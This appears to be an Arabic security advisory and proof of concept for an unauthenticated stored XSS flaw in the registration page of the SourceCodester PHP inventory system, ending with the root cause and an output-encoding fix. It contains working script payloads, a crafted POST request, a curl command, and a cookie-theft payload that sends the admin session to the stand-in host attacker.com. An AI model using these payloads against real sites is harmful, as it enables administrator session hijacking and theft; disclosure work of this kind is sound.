
إثبات المفهوم لـ XSS مخزنة غير مصادق عليها في SourceCodester Inventory System، يوضح اختطاف جلسة المسؤول عبر حمولات تسجيل مصممة.
| الحقل | التفاصيل |
|---|
| نوع الثغرة | تخزين البرمجة النصية عبر المواقع (XSS) |
| التطبيق المتأثر | نظام المخزون باستخدام PHP وMySQL |
| البائع | SourceCodester |
| الإصدار المتأثر | 1.0 |
| الملف المتأثر | register.php |
| الحقول | fullname, username |
| مصادقة مطلوبة | لا (بدون مصادقة) |
| الأثر | اختطاف جلسة المسؤول، تنفيذ سكربت ضار في لوحة التحكم |
| درجة CVSS | 8.8 (عالية) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
نظام المخزون باستخدام PHP وMySQL من SourceCodester (تم تقديمه في 23 مايو 2026) معرض لثغرة البرمجة النصية عبر المواقع (XSS) المخزنة بدون مصادقة في وحدة تسجيل الموظفين (register.php).
لا تقوم حقول الإدخال fullname وusername بتعقيم أو ترميز المدخلات المقدمة من المستخدم قبل تخزينها في قاعدة البيانات. عندما يزور المسؤول صفحة إدارة المستخدمين (users.php)، يتم عرض الحمولات غير المعقمة مباشرة في سياق HTML، مما يتسبب في تنفيذ JavaScript فورًا في جلسة متصفح المسؤول.
نظرًا لأن التسجيل لا يتطلب مصادقة، يمكن لمهاجم عن بُعد غير مصادق حقن JavaScript عشوائية سيتم تنفيذها في سياق أي مسؤول يشاهد لوحة إدارة المستخدمين.
/product_inventory/register.php — لا يلزم تسجيل دخول.fullname و/أو username./product_inventory/users.php، يتم تنفيذ الحمولة تلقائيًا في متصفح المسؤول.http://<TARGET>/product_inventory/register.php
حمولة حقل الاسم الكامل:
<script>alert(1)</script>
حمولة حقل اسم المستخدم:
<script>alert(2)</script>
كلمة المرور: أي قيمة (مثل test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
ما يعادله في curl:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
سجّل الدخول كمسؤول وانتقل إلى:
http://<TARGET>/product_inventory/users.php
يتم تنفيذ كلتا الحمولتين فورًا عند تحميل الصفحة.
يمكن للمهاجم غير المصادق أن:
مثال على حمولة سرقة ملف تعريف ارتباط الجلسة (استبدل بخادم المهاجم):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


توجد الثغرة لأن register.php يُدخل إدخال المستخدم مباشرة في قاعدة البيانات دون تعقيم، ويقوم users.php بإخراج القيم المخزنة دون ترميز باستخدام htmlspecialchars().
النمط المعرض للخطر في users.php (تقريبي):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
الإصلاح — تطبيق ترميز المخرجات:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
بالإضافة إلى ذلك، يجب تعقيم الإدخال عند الإدراج في register.php باستخدام strip_tags() أو العبارات المعدة (prepared statements) مع التحقق المناسب.
htmlspecialchars() مع ENT_QUOTES قبل عرض البيانات المقدمة من المستخدم في HTML.أبلغ عنها سيد عماد الدين ألفي — باحث أمني مستقل